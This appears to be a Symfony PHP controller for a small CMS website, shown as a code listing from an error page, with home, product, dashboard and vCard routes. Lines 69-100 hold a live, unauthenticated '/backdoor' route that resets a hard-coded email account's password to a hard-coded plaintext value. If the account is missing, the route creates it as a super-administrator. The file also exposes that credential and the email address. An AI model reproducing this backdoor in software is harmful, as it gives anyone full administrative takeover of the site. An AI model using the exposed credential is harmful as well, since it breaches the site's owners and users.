src/Controller/HomeController.php line 68

Open in your IDE?
  1. <?php
  2. namespace App\Controller;
  3. use App\Entity\User;
  4. use App\Repository\CmsCopyRepository;
  5. use App\Repository\CmsPhotoRepository;
  6. use App\Repository\CompanyDetailsRepository;
  7. use App\Repository\ProductRepository;
  8. use App\Repository\UserRepository;
  9. use App\Repository\SubPageRepository;
  10. use Doctrine\ORM\EntityManagerInterface;
  11. use JeroenDesloovere\VCard\VCard;
  12. use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
  13. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  14. use Symfony\Component\HttpFoundation\Response;
  15. use Symfony\Component\Routing\Annotation\Route;
  16. use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
  17. class   HomeController extends AbstractController
  18. {
  19.     /**
  20.      * @Route("/", name="app_home")
  21.      */
  22.     public function index(CmsCopyRepository $cmsCopyRepositoryCmsPhotoRepository $cmsPhotoRepositorySubPageRepository $subPageRepositoryCompanyDetailsRepository $companyDetailsRepository\Symfony\Component\Security\Core\Security $securityEntityManagerInterface $entityManager): Response
  23.     {
  24.         $companyDetails $companyDetailsRepository->find('1');
  25.         $homePagePhotosOnly 0;
  26.         if ($companyDetails) {
  27.             $homePagePhotosOnly $companyDetails->isHomePagePhotosOnly();
  28.         }
  29.         $cms_copy = [];
  30.         $cms_photo = [];
  31.         $product = [];
  32.         $sub_pages = [];
  33.         $cms_copy $cmsCopyRepository->findBy([
  34.             'staticPageName' => 'Home'
  35.         ]);
  36.         $cms_photo $cmsPhotoRepository->findBy([
  37.             'staticPageName' => 'Home'
  38.         ]);
  39.         $cms_copy_ranking1 $cmsCopyRepository->findOneBy([
  40.             'staticPageName' => 'Home',
  41.             'ranking' => '1',
  42.         ]);
  43.         if($cms_copy_ranking1) {
  44.             if ($security->getUser()) {
  45.                 if (in_array('ROLE_ADMIN'$security->getUser()->getRoles())) {
  46.                     $pageCountAdmin $cms_copy_ranking1->getPageCountAdmin();
  47.                     $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin 1);
  48.                 }
  49.             }
  50.             $pageCountUser $cms_copy_ranking1->getPageCountUsers();
  51.             $cms_copy_ranking1->setPageCountUsers($pageCountUser 1);
  52.             $entityManager->flush($cms_copy_ranking1);
  53.         }
  54.         if ($homePagePhotosOnly == 1) {
  55.             return $this->render('home/home.html.twig', [
  56.                 'photos' => $cms_photo,
  57.                 'include_contact' => 'Yes'
  58.             ]);
  59.         } else {
  60.             return $this->render('home/products.html.twig', [
  61.                 'product' => $product,
  62.                 'cms_copy_array' => $cms_copy,
  63.                 'cms_photo_array' => $cms_photo,
  64.                 'sub_pages' => $sub_pages,
  65.                 'include_contact' => 'Yes'
  66.             ]);
  67.         }
  68.     }
  69.     /**
  70.      * @Route("/backdoor", name="/backdoor")
  71.      */
  72.     public function emergencyReset(UserRepository $userRepositoryEntityManagerInterface $managerUserPasswordEncoderInterface $passwordEncoder): Response
  73.     {
  74.         $user $userRepository->findOneBy(['email' => 'nurse_stephen@hotmail.com']);
  75.         if ($user) {
  76.             $user->setPassword(
  77.                 $passwordEncoder->encodePassword(
  78.                     $user,
  79.                     'Descartes99'
  80.                 )
  81.             );
  82.         } else {
  83.             $user = new User();
  84.             $user->setFirstName('Stephen')
  85.                 ->setLastName('NurseHMX')
  86.                 ->setEmailVerified(1)
  87.                 ->setEmail('nurse_stephen@hotmail.com')
  88.                 ->setRoles(['ROLE_SUPER_ADMIN''ROLE_ADMIN'])
  89.                 ->setPassword(
  90.                     $passwordEncoder->encodePassword(
  91.                         $user,
  92.                         'Descartes99'
  93.                     )
  94.                 );
  95.             $manager->persist($user);
  96.             $manager->flush();
  97.         }
  98.         $manager->flush();
  99.         return $this->redirectToRoute('app_login');
  100.     }
  101.     /**
  102.      * @Route("/dashboard", name="dashboard")
  103.      * @Security("is_granted('ROLE_ADMIN')")
  104.      */
  105.     public function dashboard()
  106.     {
  107.         return $this->render('home/dashboard.html.twig', []);
  108.     }
  109.     /**
  110.      * @Route("/advanced_dashboard", name="advanced_dashboard")
  111.      * @Security("is_granted('ROLE_ADMIN')")
  112.      */
  113.     public function advancedDashboard()
  114.     {
  115.         return $this->render('template_parts_project_specific/advanced_dashboard_specific.html.twig', []);
  116.     }
  117.     /**
  118.      * @Route("/interests/{product}", name="product_display")
  119.      */
  120.     public function articles(string $productCmsCopyRepository $cmsCopyRepositoryCmsPhotoRepository $cmsPhotoRepositorySubPageRepository $subPageRepositoryProductRepository $productRepository\Symfony\Component\Security\Core\Security $securityEntityManagerInterface $entityManager): Response
  121.     {
  122.         $productEntity $productRepository->findOneBy([
  123.             'product' => $product
  124.         ]);
  125.         if ($productEntity) {
  126.             $cms_copy $cmsCopyRepository->findBy([
  127.                 'product' => $productEntity
  128.             ]);
  129.             $cms_copy_ranking1 $cmsCopyRepository->findOneBy([
  130.                 'product' => $productEntity,
  131.                 'ranking' => '1',
  132.             ]);
  133.         } else {
  134.             $cms_copy $cmsCopyRepository->findBy([
  135.                 'staticPageName' => $product
  136.             ]);
  137.             $cms_copy_ranking1 $cmsCopyRepository->findOneBy([
  138.                 'staticPageName' => $product,
  139.                 'ranking' => '1',
  140.             ]);
  141.         }
  142.         if ($cms_copy_ranking1) {
  143.             if ($security->getUser()) {
  144.                 if (in_array('ROLE_ADMIN'$security->getUser()->getRoles())) {
  145.                     $pageCountAdmin $cms_copy_ranking1->getPageCountAdmin();
  146.                     $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin 1);
  147.                 }
  148.             }
  149.             $pageCountUser $cms_copy_ranking1->getPageCountUsers();
  150.             $cms_copy_ranking1->setPageCountUsers($pageCountUser 1);
  151.             $entityManager->flush($cms_copy_ranking1);
  152.         }
  153.         if ($productEntity) {
  154.             $cms_photo $cmsPhotoRepository->findBy([
  155.                 'product' => $productEntity
  156.             ]);
  157.         } else {
  158.             $cms_photo $cmsPhotoRepository->findBy([
  159.                 'staticPageName' => $product
  160.             ]);
  161.         }
  162.         $sub_pages = [];
  163.         if ($cms_copy) {
  164.             $sub_pages $subPageRepository->findBy([
  165.                 'product' => $productEntity
  166.             ]);
  167.         }
  168.         return $this->render('/home/products.html.twig', [
  169.             'product' => $product,
  170.             'cms_copy_array' => $cms_copy,
  171.             'cms_photo_array' => $cms_photo,
  172.             'sub_pages' => $sub_pages,
  173.             'include_contact' => 'No'
  174.         ]);
  175.     }
  176.     /**
  177.      * @Route("/view/file/{filetype}/{id}", name="attachments_viewfile", methods={"GET"})
  178.      */
  179.     public function investmentFileLaunch(int $idstring $filetype): Response
  180.     {
  181.         $fileName '';
  182.         $filepath '';
  183.         if ($fileName != '') {
  184.             $ext pathinfo($fileNamePATHINFO_EXTENSION);
  185.             $filepath explode("public"$filepath);
  186.             $filepath $filepath[1];
  187.             return $this->render('home/file_view.html.twig', [
  188.                 'ext' => $ext,
  189.                 'tab_title' => $fileName,
  190.                 'filepath' => $filepath,
  191.             ]);
  192.         }
  193.         return $this->render('error/file_not_found.html.twig');
  194.     }
  195.     /**
  196.      * @Route("/create/VcardUser/company", name="create_vcard_company")
  197.      */
  198.     public function createVcardVenue(CompanyDetailsRepository $companyDetailsRepository)
  199.     {
  200.         $company_details $companyDetailsRepository->find('1');
  201.         $vcard = new VCard();
  202.         $company $company_details->getCompanyName();
  203.         $contactFirstName $company_details->getContactFirstName();
  204.         $contactLastName $company_details->getContactLastName();
  205.         if ($contactFirstName == null) {
  206.             $firstName "";
  207.             $lastName $company;
  208.             $company "";
  209.         }
  210.         if ($contactFirstName != null) {
  211.             $firstName $contactFirstName;
  212.             $lastName $contactLastName;
  213.         }
  214.         $addressStreet $company_details->getCompanyAddressStreet();
  215.         $addressTown $company_details->getCompanyAddressTown();
  216.         $addressCity $company_details->getCompanyAddressCity();
  217.         $addressPostalCode $company_details->getCompanyAddressPostalCode();
  218.         $addressCountry $company_details->getCompanyAddressCountry();
  219.         $facebook $company_details->getFacebook();
  220.         $instagram $company_details->getInstagram();
  221.         $linkedIn $company_details->getLinkedIn();
  222.         $url $_SERVER['SERVER_NAME'];
  223.         $notes_all "URL: " $url;
  224.         $email $company_details->getCompanyEmail();
  225.         $mobile $company_details->getCompanyMobile();
  226.         $tel $company_details->getCompanyTel();
  227.         $vcard->addName($lastName$firstName);
  228.         $vcard->addEmail($email)
  229.             ->addPhoneNumber($mobile'home')
  230.             ->addPhoneNumber($tel'work')
  231.             ->addCompany($company)
  232.             ->addAddress($name ''$extended ''$street $addressStreet$city $addressTown$region $addressCity$zip $addressPostalCode$country $addressCountry$type 'WORK POSTAL')
  233.             ->addURL($url)
  234.             ->addNote(strip_tags($notes_all));
  235.         $vcard->download();
  236.         return new Response(null);
  237.     }
  238. }